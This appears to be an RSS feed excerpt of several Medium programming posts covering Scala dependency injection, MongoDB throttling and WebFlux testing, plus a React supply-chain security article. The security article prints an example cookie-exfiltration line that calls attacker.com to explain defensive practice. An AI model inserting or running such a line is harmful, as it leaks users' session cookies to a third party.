dependencies didn’t require any hidden container logic</li></ul><p>For a Java developer, this feels like freedom. You <strong>control your dependencies</strong> instead of trusting a framework. At the same time, the compiler ensures nothing is missing.</p><p>It’s not less powerful — it’s just a different approach. And once you get used to it, you start to question whether Spring’s container was ever necessary for most applications.</p><h3>Wrapping Up…</h3><p>Spring DI is convenient, but it comes with hidden wiring, runtime checks, and lifecycle management that you often don’t need. Scala replaces this with <strong>plain objects, functions, and composition</strong>, making dependencies explicit, type-checked, and easy to reason about.</p><p>In the next article, we’ll take a closer look at <strong>real-world bugs Spring allows that Scala prevents</strong>. You’ll see concrete examples of runtime errors that vanish when you switch to compile-time DI. This is where Scala’s approach really shines for large projects.</p><p><strong>Next Article Hint:</strong></p><blockquote><a href="https://aabir-hassan.medium.com/scala-dependency-injection-for-java-developers-part-4-bugs-spring-allows-that-scala-prevents-e581ca04cd2c"><em>Part 4</em></a><em> will explore “Bugs Spring Allows That Scala Prevents.” We’ll look at missing beans, wrong qualifiers, and circular dependencies — and how Scala catches these at compile time.</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=300a33a1483e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Scala Dependency Injection for Java Developers (Part 2): Given and Using Explained]]></title>
            <link>https://aabir-hassan.medium.com/scala-dependency-injection-for-java-developers-part-2-given-and-using-explained-1c7c6f42f917?source=rss-568477d9cac------2</link>
            <guid isPermaLink="false">https://medium.com/p/1c7c6f42f917</guid>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[dependency-injection]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[scala]]></category>
            <category><![CDATA[java]]></category>
            <dc:creator><![CDATA[Aabir Hassan]]></dc:creator>
            <pubDate>Sun, 04 Jan 2026 13:37:22 GMT</pubDate>
            <atom:updated>2026-01-04T15:23:51.941Z</atom:updated>
            <content:encoded><![CDATA[<h4>When I first saw Scala’s given and using, I thought, <em>“Wait… where’s the Spring magic? Where’s the container?”</em></h4><p>If you’re coming from Java and Spring, this reaction is normal. Scala does things differently. There’s no runtime scanning, no hidden wiring, and no @Autowired. Instead, Scala uses <strong>type-driven dependency injection</strong> — and it’s all <strong>checked at compile time</strong>.</p><p>In this article, we’ll break down given and using, map them to Java concepts you already know, and show why Scala DI feels explicit but safe.</p><h3>1. given and using in a Nutshell</h3><p>Scala 3 introduced given and using to handle implicit dependencies in a clean, type-safe way.</p><ul><li><strong>given</strong>: defines a dependency</li><li><strong>using</strong>: asks for a dependency</li></ul><p>Think of it as <strong>declaring a service</strong> and then <strong>asking for it</strong>, but without Spring annotations or runtime container magic.</p><h3>Example 1: Basic given and using</h3><pre>trait PaymentService:<br>  def process(amount: Double): Unit<br>  given PaymentService with<br>    def process(amount: Double): Unit =<br>      println(s&quot;Processing payment of $$amount&quot;)<br>  class OrderService(using paymentService: PaymentService):<br>    def placeOrder(amount: Double): Unit =<br>      paymentService.process(amount)<br>  // Usage<br>  val service = new OrderService()<br>  service.placeOrder(100.0)</pre><p><strong>Breakdown:</strong></p><ol><li>given PaymentService with ... → defines an implementation (like a Spring bean).</li><li>using paymentService: PaymentService → requests a dependency (like @Autowired )</li><li>The compiler automatically wires the given instance when creating OrderService.</li></ol><p>Notice: nothing happens at runtime magically. <strong>Scala’s compiler resolves it</strong>.</p><h3>2. Mapping to Java Concepts</h3><p>If we try to map it to Java:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-0wVu4duVadx3lyGYp6C8w.png" /></figure><p>But unlike Spring:</p><ul><li>There’s <strong>no container scanning</strong>.</li><li>No runtime reflection.</li><li>If a dependency is missing, <strong>it won’t compile</strong>.</li></ul><h3>Example 2: Constructor Injection Comparison</h3><p>In Java with Spring:</p><pre>@Service<br>public class OrderService {<br>    private final PaymentService paymentService;<br><br>    @Autowired<br>    public OrderService(PaymentService paymentService) {<br>        this.paymentService = paymentService;<br>    }<br>    public void placeOrder(double amount) {<br>        paymentService.process(amount);<br>    }<br>}</pre><p>In Scala:</p><pre>class OrderService(using PaymentService):<br>  def placeOrder(amount: Double): Unit =<br>    summon[PaymentService].process(amount)</pre><ul><li>Spring DI: wiring happens <strong>at runtime</strong> via annotations.</li><li>Scala DI: wiring happens <strong>at compile time</strong>.</li><li>Spring: you can accidentally have missing beans or wrong qualifiers.</li><li>Scala: the compiler ensures the correct dependency exists.</li></ul><h3>3. Constructor Injection vs Context Passing</h3><p>In Java, constructor injection is a best practice. It’s explicit but verbose. You have to write constructors, final fields, and pass everything yourself if not using Spring.</p><p>In Scala:</p><ul><li>using is like <strong>syntactic sugar for constructor injection</strong>.</li><li>Dependencies are <strong>passed automatically by the compiler</strong> if a matching given exists.</li><li>You don’t write boilerplate constructors, but you <strong>still know exactly what the class depends on</strong>.</li></ul><p>Analogy:</p><blockquote><em>Java with Spring DI is like ordering a coffee from a huge café with 100 types of coffee beans. You just say “I want coffee” and hope the right bean is picked.<br>Scala with </em><em>given/</em><em>using is like brewing coffee at home: the beans are on the counter, and you pick the exact one you want. It’s explicit but safe.</em></blockquote><h3>4. Why This Is Not Magic</h3><p>A common misconception: Scala DI is “implicit magic.” It’s not.</p><ul><li>given creates a value.</li><li>using requests a value.</li><li>summon[T] can fetch it anywhere in scope.</li></ul><p>The compiler does the wiring. Nothing is scanned, nothing is injected behind your back.</p><p>Compare to Spring:</p><ul><li>Missing bean → runtime error</li><li>Wrong qualifier → runtime error</li><li>Circular dependencies → runtime error</li></ul><p>Compare to Scala:</p><ul><li>Missing given → <strong>compile-time error</strong></li><li>Wrong type → <strong>compile-time error</strong></li><li>Circular dependency → detected at compile time</li></ul><p>In other words: <strong>Scala shifts DI problems from runtime to compile time</strong>.</p><h3>5. Compile-Time Wiring vs Runtime Wiring</h3><p>Spring DI:</p><ul><li>Pros: convenient, minimal boilerplate, works for most cases</li><li>Cons: hidden wiring, runtime errors, reflection overhead</li></ul><p>Scala DI (given/using):</p><ul><li>Pros: explicit, safe, compiler checks dependencies, no reflection</li><li>Cons: can feel verbose at first, requires thinking in terms of context</li></ul><h3>Wrapping Up…</h3><p>given and using are Scala’s answer to dependency injection.</p><p>For Java developers, the biggest shift is <strong>explicitness and compile-time wiring</strong>. You don’t rely on Spring scanning or @Autowired. You <strong>see every dependency in your class definition</strong>, and the compiler ensures correctness.</p><p>In the next article, we’ll explore <strong>how Scala replaces Spring DI without any framework</strong>. You’ll see how this explicit model can still be elegant, composable, and reusable, even in large applications.</p><p><strong>Next Article Hint:</strong></p><blockquote><a href="https://aabir-hassan.medium.com/scala-dependency-injection-for-java-developers-part-3-how-scala-replaces-spring-di-without-a-300a33a1483e"><em>Part 3</em></a><em> will show how Scala DI works without a container. We’ll explore plain objects, composition, and type-driven wiring — and how you can write flexible code without Spring magic.</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1c7c6f42f917" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Scala Dependency Injection for Java Developers (Part 1): Why Spring DI Feels Heavy]]></title>
            <link>https://aabir-hassan.medium.com/scala-dependency-injection-for-java-developers-part-1-why-spring-di-feels-heavy-215a9cbf9b5e?source=rss-568477d9cac------2</link>
            <guid isPermaLink="false">https://medium.com/p/215a9cbf9b5e</guid>
            <category><![CDATA[dependency-injection]]></category>
            <category><![CDATA[scala]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[java]]></category>
            <dc:creator><![CDATA[Aabir Hassan]]></dc:creator>
            <pubDate>Sun, 04 Jan 2026 13:32:25 GMT</pubDate>
            <atom:updated>2026-01-04T15:23:13.665Z</atom:updated>
            <content:encoded><![CDATA[<h4>“I trusted Spring to wire my app. Scala asked me to be explicit.”</h4><p>If you come from a Java background, especially working with Spring, this sentence might make sense immediately. Spring’s dependency injection (DI) has been the invisible hand guiding your applications for years. It magically wires beans, resolves dependencies, and manages lifecycles mostly for you. And for a long time, that felt amazing.</p><p>But if you’re now exploring Scala, you quickly notice that things work differently. Scala encourages a model that is explicit, compile-time checked, and less reliant on a framework. At first, it can feel heavy and even unnecessary. But as you dive deeper, you realize the “magic” in Spring comes with hidden costs.</p><p>In this first article of the series, I want to walk you through why Spring DI feels heavy, how it works under the hood, and why Scala developers often question this approach.</p><h3>1. Your Java Mindset: Spring DI Feels Comfortable</h3><p>For most Java developers, Spring DI is like having a personal assistant. You declare your beans with @Component, @Service, or @Repository. Then, with @Autowired, Spring takes care of the rest.</p><p>For example:</p><pre>@Service<br>public class OrderService {<br>    @Autowired<br>    private PaymentService paymentService;<br>    <br>    public void placeOrder(Order order) {<br>        paymentService.processPayment(order.getAmount());<br>    }<br>}</pre><p>Simple, right? You didn’t create PaymentService yourself. You didn’t pass it in the constructor. Spring finds the right bean at runtime and injects it for you.</p><p>From a Java developer’s perspective, this is convenient. But notice a few things:</p><ul><li><strong>Runtime resolution:</strong> Spring decides which PaymentService to use <strong>when your application starts</strong>, not when you write the code.</li><li><strong>Reflection magic:</strong> @Autowired uses reflection to inject dependencies. This is hidden but adds complexity under the hood.</li><li><strong>Hidden coupling:</strong> Your code is now implicitly tied to Spring. You cannot easily run OrderService outside a Spring context without some setup.</li></ul><p>It’s easy to overlook these points when everything “just works.” But in large projects, they can cause subtle issues.</p><h3>2. How Spring DI Actually Works</h3><p>To understand why it feels heavy, let’s peek under the hood.</p><ol><li><strong>Bean scanning:</strong> Spring scans your classpath for classes annotated with @Component, @Service, @Repository, etc.</li><li><strong>Bean creation:</strong> Spring creates instances of these classes at runtime, using reflection and constructors.</li><li><strong>Dependency resolution:</strong> For each bean, Spring looks at @Autowired or constructor parameters and injects the right dependencies.</li><li><strong>Lifecycle management:</strong> Spring manages bean lifecycle events like initialization, destruction, and proxies for AOP.</li></ol><p>This means that your code’s behavior isn’t fully visible in the code itself — part of it happens magically at runtime.</p><p>Here’s a small analogy:</p><blockquote><em>Using Spring DI is like ordering a meal in a fancy restaurant. You don’t cook the food yourself. You just tell the waiter what you want. The food arrives perfectly cooked, but you don’t see the ingredients or the steps. If the kitchen makes a mistake, you won’t know until the meal reaches your table.</em></blockquote><p>This abstraction is nice for productivity but can hide problems.</p><h3>3. The Hidden Mental Overhead</h3><p>The convenience comes at a cost:</p><ul><li><strong>Hidden wiring:</strong> You have to remember which beans exist and how Spring finds them.</li><li><strong>Ambiguous errors:</strong> A missing bean or wrong qualifier often only shows up at runtime. You get cryptic messages like:</li></ul><pre>No qualifying bean of type &#39;PaymentService&#39; available</pre><ul><li><strong>Framework dependency:</strong> Your code depends on Spring annotations and container behavior. Moving code outside Spring requires changes.</li><li><strong>Testing friction:</strong> Unit testing often requires mocks or Spring context, which slows down tests.</li></ul><p>In short, Spring DI lets you “write less code,” but you mentally carry a <strong>Spring map</strong> in your head. You need to know what exists, what is wired, and how. This overhead grows with the project size.</p><h3>4. Why Scala Developers Question This Model</h3><p>Scala takes a different philosophy: <strong>explicitness and compile-time safety.</strong> Instead of magically injecting dependencies, Scala encourages you to pass dependencies directly or use constructs like given and using.</p><p>In Scala, you might write something like:</p><pre>trait PaymentService {<br>  def process(amount: Double): Unit<br>}<br><br>class OrderService(using paymentService: PaymentService) {<br>  def placeOrder(amount: Double): Unit =<br>    paymentService.process(amount)<br>}</pre><p>Notice the differences:</p><ul><li>You <strong>see all dependencies</strong> in the class definition. Nothing is hidden.</li><li>Scala’s compiler ensures the right dependency is provided. If it’s missing, it won’t compile.</li><li>There’s <strong>no runtime magic</strong> or reflection overhead.</li></ul><p>The philosophy is simple: prefer <strong>compile-time guarantees</strong> over runtime convenience. Scala asks you to be explicit. At first, this can feel heavy, especially if you’re used to Spring “just working.” But over time, you realize the benefits: fewer hidden bugs, easier refactoring, and better understanding of your code.</p><h3>Wrapping Up…</h3><p>Spring DI is powerful and convenient. But the convenience comes with hidden mental overhead, runtime dependencies, and potential bugs that only show up when the app runs.</p><p>Scala DI challenges that model. It forces you to <strong>see your dependencies</strong> and <strong>think about wiring</strong> at compile time. In the next article, we’ll dive into the heart of Scala DI: <strong>given and </strong><strong>using</strong>, and I’ll show how they map to Java concepts you already know. You’ll see why Scala DI is less magical but safer and how you can start writing Scala code without feeling lost.</p><p><strong>Next Article Hint:</strong></p><blockquote><a href="https://aabir-hassan.medium.com/scala-dependency-injection-for-java-developers-part-2-given-and-using-explained-1c7c6f42f917"><em>Part 2</em></a><em> will break down </em><em>given and </em><em>using, the Scala tools that replace Spring annotations. You’ll learn how to pass dependencies explicitly and still write elegant, reusable code.</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=215a9cbf9b5e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[React 2025 CVSS 10 Vulnerability: RSC Supply-Chain Risks Explained]]></title>
            <link>https://aabir-hassan.medium.com/react-2025-cvss-10-vulnerability-rsc-supply-chain-risks-explained-1e52de3cea99?source=rss-568477d9cac------2</link>
            <guid isPermaLink="false">https://medium.com/p/1e52de3cea99</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[angular]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[frontend]]></category>
            <category><![CDATA[react]]></category>
            <dc:creator><![CDATA[Aabir Hassan]]></dc:creator>
            <pubDate>Sat, 06 Dec 2025 20:25:33 GMT</pubDate>
            <atom:updated>2025-12-06T20:33:41.346Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*SxDLul2l9rRYS3CFRI3BrQ@2x.jpeg" /></figure><p>Late 2025 brought a shock to many front-end developers. On December 3, 2025 the React team published a <a href="https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components">critical security alert</a>: a remote-code-execution (RCE) vulnerability in React Server Components (RSC). The flaw, tracked as CVE-2025–55182, carries a CVSS 10.0 rating, the maximum severity.</p><p>This disclosure made me realize something important: even front-end frameworks aren’t safe by default. A supply-chain flaw deep in React’s ecosystem can turn a simple “npm install” into a full server takeover. That’s what inspired this article.</p><p>In the sections below, we explore what CVSS scores mean, how React got exposed (with real-world example), how an attacker might exploit it and why another framework, Angular, tends to carry less risk for the same class of threat.</p><p>⸻</p><h3>What CVE and CVSS Scores Actually Mean</h3><ul><li>A CVE is a public record of a known vulnerability.</li><li>A CVSS score describes how dangerous it is.</li></ul><p><strong>Score ranges:</strong></p><p>•	Low: 0 – 3</p><p>•	Medium: 4 – 6</p><p>•	High: 7 – 8.9</p><p>•	Critical: 9 – 10</p><p><strong>A CVSS 10.0 score means:</strong></p><p>•	The flaw is easy to exploit</p><p>•	No user action is needed</p><p>•	The attacker gains full control</p><p>•	The impact covers data theft, system compromise, and outages</p><p>CVSS 10 is the top-tier alert. It means “fix this now.”</p><p>⸻</p><h3>Why React Projects See More Risk</h3><p>React itself is solid.</p><p>The risk comes from the massive ecosystem around it.</p><p>A typical React 19 project includes:</p><p>•	React packages</p><p>•	Vite or Webpack</p><p>•	Babel</p><p>•	ESLint</p><p>•	TypeScript</p><p>•	UI libraries</p><p>•	Utility packages</p><p>•	Hundreds of transitive dependencies</p><p>Most of these tools run code during install or build.</p><p>That’s the perfect spot for a supply-chain attack.</p><p>⸻</p><h3>Example: How a CVSS 10 Supply-Chain Attack Hits a React Project</h3><p>Here’s a simple, realistic scenario.</p><ol><li><strong>A tiny dependency gets poisoned</strong></li></ol><p>Let’s say you use a UI library.</p><p>That UI library depends on a helper package.</p><p>That helper package depends on a small formatting library.</p><p>An attacker publishes a new version of that formatting library:</p><pre>1.3.7</pre><p>This version contains a malicious postinstall script.</p><p>You never installed this library directly.</p><p>But your dependencies pull it in automatically.</p><p>⸻</p><p>2. <strong>You or your CI server runs “npm install”</strong></p><p>When the install runs:</p><pre>npm install</pre><p>Node executes the malicious postinstall script.</p><p>The attacker’s code now runs inside your machine or CI pipeline.</p><p>⸻</p><p>3. <strong>The script steals your secrets</strong></p><p>The script reads:</p><p>•	environment variables</p><p>•	API keys</p><p>•	deployment tokens</p><p>•	cloud credentials</p><p>Then it sends them to an attacker-controlled server.</p><p>⸻</p><p>4. <strong>The attacker takes over your build process</strong></p><p>With your secrets, the attacker can:</p><p>•	build a fake release</p><p>•	deploy infected bundles</p><p>•	push malicious commits</p><p>•	take control of your cloud environment</p><p>⸻</p><p>5. <strong>Users download the compromised React bundle</strong></p><p>The attacker injects something like:</p><pre>fetch(&quot;https://attacker.com/steal?cookie=&quot; + document.cookie)</pre><p>Every user who loads your site leaks sensitive data.</p><p>This is why front-end supply-chain issues can be deadly serious.</p><p>⸻</p><p><strong>More Examples of React Exposure</strong></p><ul><li>Example A: Malicious ESLint rule – A compromised ESLint plugin steals GITHUB_TOKEN during linting.</li><li>Example B: Poisoned Vite plugin – A plugin injects a keylogger script into the production bundle.</li><li>Example C: Developer laptop compromise – A malicious library steals SSH keys from the developer’s laptop and uploads them.</li></ul><p>React’s flexible ecosystem gives attackers many places to hide.</p><p>⸻</p><h3>Why Angular Faces Less Supply-Chain Risk</h3><p>Angular can still be attacked, but it reduces exposure in several ways.</p><p>⸻</p><ol><li><strong>Smaller and more controlled dependency tree</strong></li></ol><p>Angular CLI handles:</p><p>•	compilation</p><p>•	bundling</p><p>•	optimizations</p><p>Fewer external packages = fewer risks.</p><p>⸻</p><p>2. <strong>Less build-time code execution</strong></p><p>React relies on:</p><p>•	Babel</p><p>•	Webpack/Vite loaders</p><p>•	ESLint plugins</p><p>•	TypeScript transformers</p><p>These tools run arbitrary code.</p><p>Angular’s CLI runs a predictable, controlled pipeline with far fewer third-party hooks.</p><p>⸻</p><p>3. <strong>Predictable update behavior</strong></p><p>Angular packages move together as a versioned group.</p><p>Silent patch updates are rare.</p><p>React projects often pull in new transitive versions without asking.</p><p>⸻</p><p>4. <strong>Template safety</strong></p><p>Angular sanitizes HTML automatically.</p><p>React will happily run anything you pass to <em>dangerouslySetInnerHTML</em>.</p><p>If malicious code reaches the browser, Angular reduces the damage.</p><p>⸻</p><h3>How to Protect React Projects</h3><p>You can lower the risk with practical steps.</p><ol><li><strong>Commit your lockfiles</strong></li></ol><p>Commit:</p><ul><li>package-lock.json</li><li>pnpm-lock.yaml</li></ul><p>This prevents accidental updates.</p><p>2. <strong>Use Dependabot or Renovate</strong></p><p>These tools make version bumps visible and auditable.</p><p>3. <strong>Use npm ci in CI pipelines</strong></p><p>npm ci installs exact versions from the lockfile.</p><p>It never pulls fresh versions.</p><p>4. <strong>Block or audit postinstall scripts</strong></p><p>You can use CI settings or package manager flags to prevent unknown scripts from running.</p><p>5. <strong>Use private or vetted registries</strong></p><p>These registries scan and block known malicious packages.</p><p>6. <strong>Sandbox your CI environment</strong></p><p>If something does get stolen, it shouldn’t unlock everything.</p><p>7. Audit your dependency tree</p><p>Use:</p><p>•	npm audit</p><p>•	yarn audit</p><p>•	Snyk</p><p>•	OWASP dependency-check</p><p>This helps catch known issues earlier.</p><h3>Conclusion</h3><p>React is powerful and flexible, but that flexibility leads to a large dependency footprint. This makes it more vulnerable to supply-chain attacks, especially when a malicious library sneaks into the build pipeline.</p><p>Angular takes a different approach. The Angular CLI owns and controls most of the toolchain. This reduces the number of external packages and limits the amount of code that runs during installation and builds. As a result, the risk surface is smaller.</p><p><strong>Neither framework is immune.</strong></p><p>But React gives attackers more opportunities, while Angular blocks more paths by default.</p><p>Securing React isn’t about changing frameworks.</p><p>It’s about protecting your build process and keeping tight control over your dependencies.</p><p>⸻</p><h3>TL;DR</h3><p>•	CVSS 10.0 is the highest-risk category – full system compromise.</p><p>•	React projects pull in many dependencies, which increases exposure.</p><p>•	A poisoned dependency can hijack your CI pipeline.</p><p>•	Angular’s controlled toolchain reduces attack paths.</p><p>•	Protect React by locking dependencies, blocking postinstall scripts, auditing packages, and sandboxing builds.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1e52de3cea99" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[High-Throughput MongoDB on a Budget: Keeping Your Server Alive Without Slowing Down in Cloud]]></title>
            <link>https://aabir-hassan.medium.com/high-throughput-mongodb-on-a-budget-keeping-your-server-alive-without-slowing-down-in-cloud-64d61e52fc62?source=rss-568477d9cac------2</link>
            <guid isPermaLink="false">https://medium.com/p/64d61e52fc62</guid>
            <category><![CDATA[high-throughput]]></category>
            <category><![CDATA[cloud]]></category>
            <category><![CDATA[mongodb]]></category>
            <category><![CDATA[kafka]]></category>
            <category><![CDATA[cost-optimization]]></category>
            <dc:creator><![CDATA[Aabir Hassan]]></dc:creator>
            <pubDate>Sat, 04 Oct 2025 18:36:06 GMT</pubDate>
            <atom:updated>2025-10-04T18:36:06.379Z</atom:updated>
            <content:encoded><![CDATA[<h4>Affordable Strategies for Scaling MongoDB Workloads in Cloud Environments</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6UdxHkWDgf6pTm1D-avsfQ.png" /></figure><p>High-throughput applications are exciting because they let you do amazing things. But they also have a dark side. Recently, we ran into a challenge that anyone running a reactive app on a budget can relate to: our MongoDB instance was screaming for mercy, and we could not afford to scale out.</p><p>Here’s how we kept the system alive without throwing money at EC2, while keeping our app responsive and our users happy.</p><h3>The Problem: CPU Spikes That Refuse to Quit</h3><p>Our setup is simple. We run <strong>MongoDB on a single EC2 instance with 2 vCPUs and 4 GB of RAM</strong>. Normally this is fine, but our app handles <strong>thousands of operations per minute</strong>, and that turned our server into a pressure cooker.</p><p>The signs were clear. CPU would spike above 70 percent for minutes. Alerts flooded our inbox, warning us the server might become unreachable. Sometimes the server actually went offline for a bit, leaving users staring at a spinning wheel.</p><p>The obvious solution is to throw hardware at it, but our budget said no. That meant we had to figure out a way to <strong>fix things from the application side</strong>.</p><h3>The Catch: We Can’t Just Slow Everything Down</h3><p>One option would be to slow down database operations whenever the server got stressed. But in a reactive, high-throughput system, <strong>any noticeable delay is like kryptonite for users</strong>. Nobody likes waiting for their data.</p><p>We had to balance two conflicting goals:</p><ol><li>Protect the server from melting down.</li><li>Keep the app feeling fast and snappy.</li></ol><p>Basically, we had to accept a few compromises and find the sweet spot. That is what system design is all about.</p><h3>The Complexity: Multi-Threaded Chaos with WebFlux and Kafka</h3><p>Things got even trickier because our app was <strong>built with Spring WebFlux</strong> and we were consuming messages from <strong>Kafka</strong>. That meant multiple threads could be hammering the database at the same time, and load could spike in unpredictable bursts.</p><p>Tracking active operations across threads was essential, otherwise our throttling system could either choke the server or slow down the app unnecessarily.</p><p>The solution? <strong>Atomic operations</strong>. We used an <strong>AtomicReference</strong> to safely track database operations across threads. This allowed us to:</p><ul><li>Count operations accurately even when multiple threads were running.</li><li>Apply throttling only when it was actually needed.</li><li>Keep the system stable without locking everything down.</li></ul><p>Atomic operations might sound boring, but in a reactive, multi-threaded world they are a lifesaver.</p><h3>The Solution: Smart Throttling Without Killing Throughput</h3><p>Here’s how we approached it:</p><ol><li><strong>Track everything</strong><br>We created a singleton tracker to monitor all database operations in real time, across threads and Kafka consumers.</li><li><strong>Keep it thread-safe</strong><br>The tracker uses an AtomicReference so multiple threads can safely update counts without stepping on each other.</li><li><strong>Count operations</strong><br>Every time an insertion starts, we increment a counter. This lets us see when one type of operation is taking over.</li><li><strong>Detect overloads</strong><br>If operations exceed a threshold over a configurable monitoring window, throttling kicks in.</li><li><strong>Randomized jitter</strong><br>Instead of stopping everything, we pause operations for a random period. The duration and range of this pause are <strong>configurable</strong>, currently between 1 and 20 seconds. This:</li></ol><ul><li>Gives CPU and memory a chance to recover.</li><li>Prevents all threads from resuming at the same time and spiking the CPU again.</li><li>Keeps other operations flowing so users don’t notice anything.</li></ul><p><strong>Feature flag control</strong><br>We also added a <strong>flag to turn throttling on or off</strong>. This way, if we ever have enough infrastructure to handle the load naturally, we can disable the mechanism with zero code changes.</p><p>The result is a system that stabilizes itself under pressure while staying flexible and maintainable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nn5tVei90Ezx0dBGAN4BtA.png" /></figure><h3>The Trade-Offs: Because Nothing Is Free</h3><p>This solution is not magic. There are trade-offs:</p><ul><li><strong>Throughput vs stability</strong><br>Pausing operations reduces peak throughput slightly but keeps the server alive.</li><li><strong>Complexity vs control</strong><br>Adding multi-threaded tracking and atomic operations makes the code more complex but gives us precise control.</li><li><strong>Cost vs reliability</strong><br>Optimizing at the application layer lets us avoid expensive hardware upgrades while keeping the system stable.</li></ul><p>The key is realizing that perfect performance and perfect stability rarely exist at the same time. You have to decide what matters most for your users.</p><h3>The Outcome: Stability Without Spending a Dime</h3><p>Since implementing this system, we’ve seen:</p><ul><li>CPU alerts dropped significantly</li><li>No downtime during heavy Kafka bursts</li><li>Consistent, predictable operations even under load</li><li>The ability to <strong>toggle throttling off</strong> when infrastructure improves</li></ul><p>Our users still get a snappy experience, and our server no longer threatens to throw in the towel.</p><h3>Lessons Learned for System Designers</h3><ol><li>Scaling out is not always possible. Budget and operational constraints matter.</li><li>Trade-offs are inevitable. Throughput, latency, and stability cannot all be perfect.</li><li>Thread safety is critical in reactive systems. Atomic operations can save your sanity.</li><li>Randomized pauses smooth out load without hurting the user experience.</li><li>Feature flags and externalized configuration give flexibility to adapt as infrastructure improves.</li><li>System design matters more than raw horsepower.</li></ol><p>Sometimes the smartest solution is not to throw money at the problem, but to <strong>design your system to survive chaos gracefully</strong>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=64d61e52fc62" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mastering Reactive Testing in Spring WebFlux: StepVerifier, Awaitility, and Common Pitfalls (Part…]]></title>
            <link>https://aabir-hassan.medium.com/mastering-reactive-testing-in-spring-webflux-stepverifier-awaitility-and-common-pitfalls-part-18db02cc5360?source=rss-568477d9cac------2</link>
            <guid isPermaLink="false">https://medium.com/p/18db02cc5360</guid>
            <category><![CDATA[unit-testing]]></category>
            <category><![CDATA[reactor]]></category>
            <category><![CDATA[spring-webflux]]></category>
            <category><![CDATA[java]]></category>
            <category><![CDATA[spring-boot]]></category>
            <dc:creator><![CDATA[Aabir Hassan]]></dc:creator>
            <pubDate>Sat, 04 Oct 2025 18:05:33 GMT</pubDate>
            <atom:updated>2025-10-04T18:05:33.707Z</atom:updated>
            <content:encoded><![CDATA[<h3>Mastering Reactive Testing in Spring WebFlux: StepVerifier, Awaitility, and Common Pitfalls (Part 2)</h3><h4>Conquer Spring WebFlux Testing: StepVerifier, Awaitility, and Pitfalls Explained</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s_pqNFLmvVwHt8Lx92WD1g.png" /></figure><p>In <a href="https://aabir-hassan.medium.com/mastering-reactive-testing-in-spring-webflux-setup-context-and-webfluxtest-explained-part-1-9b9a3e62379e"><strong>Part 1</strong></a>, we set the foundation: Spring Boot test contexts, @WebFluxTest for controller slices, @SpringBootTest for full integration, and how to handle streaming endpoints safely.</p><p>Now, we go <strong>full reactive</strong>. We’ll explore how to test Mono and Flux pipelines, handle backpressure, use virtual time, simulate upstream behavior, and deal with async side effects.</p><h3>StepVerifier — the reactive assertion engine</h3><p>Reactive streams are not like regular Java method calls. They <strong>emit signals asynchronously</strong>. To test them properly, we need a tool that can:</p><ul><li>Subscribe to the stream</li><li>Track onNext, onError, onComplete signals</li><li>Control request demand (backpressure)</li><li>Verify timing and cancellation</li></ul><p>Enter <strong>StepVerifier</strong> — your best friend for reactive unit tests.</p><h3>Basic StepVerifier</h3><pre>@Test<br>void basicStepVerifier() {<br>    Flux&lt;String&gt; names = Flux.just(&quot;Alice&quot;, &quot;Bob&quot;, &quot;Charlie&quot;);</pre><pre>    StepVerifier.create(names)<br>        .expectNext(&quot;Alice&quot;)<br>        .expectNext(&quot;Bob&quot;)<br>        .expectNext(&quot;Charlie&quot;)<br>        .expectComplete()<br>        .verify();<br>}</pre><p><strong>Key points</strong>:</p><ul><li>expectNext(...) checks emitted items in order</li><li>expectComplete() asserts the stream completes successfully</li><li>verify() subscribes and runs the assertions</li></ul><p>Other handy methods:</p><ul><li>expectNextMatches(predicate) → check values dynamically</li><li>expectNextCount(n) → assert number of items when you don’t care about values</li><li>expectError(Class) → verify expected exceptions</li></ul><h3>Backpressure testing</h3><p>Reactive streams respect <strong>demand</strong>. You can test how your pipeline handles requests:</p><pre>@Test<br>void backpressureTest() {<br>    Flux&lt;Integer&gt; numbers = Flux.range(1, 10);</pre><pre>    StepVerifier.create(numbers, 0) // start with 0 demand<br>        .thenRequest(1)<br>        .expectNext(1)<br>        .thenRequest(2)<br>        .expectNext(2, 3)<br>        .thenRequest(7)<br>        .expectNextCount(7)<br>        .verifyComplete();<br>}</pre><p>This ensures your operators <strong>respect Reactive Streams rules</strong> and don’t emit more than requested.</p><h3>Virtual time for time-based operators</h3><p>Streams often involve delays: delayElements, interval, timeout, retryBackoff. Waiting in real time makes tests slow. Use <strong>virtual time</strong>:</p><pre>@Test<br>void virtualTimeExample() {<br>    Supplier&lt;Flux&lt;Long&gt;&gt; supplier = () -&gt; Flux.interval(Duration.ofSeconds(1)).take(5);</pre><pre>    StepVerifier.withVirtualTime(supplier)<br>        .thenAwait(Duration.ofSeconds(5))<br>        .expectNextCount(5)<br>        .verifyComplete();<br>}</pre><p><strong>Important</strong>: the publisher must be created inside the supplier. Pre-built publishers <strong>cannot</strong> use virtual time.</p><h3>Cancellation testing</h3><p>Infinite streams are common in reactive systems. You must ensure cancellation works:</p><pre>@Test<br>void cancellationExample() {<br>    Flux&lt;Long&gt; infiniteFlux = Flux.interval(Duration.ofMillis(100));</pre><pre>    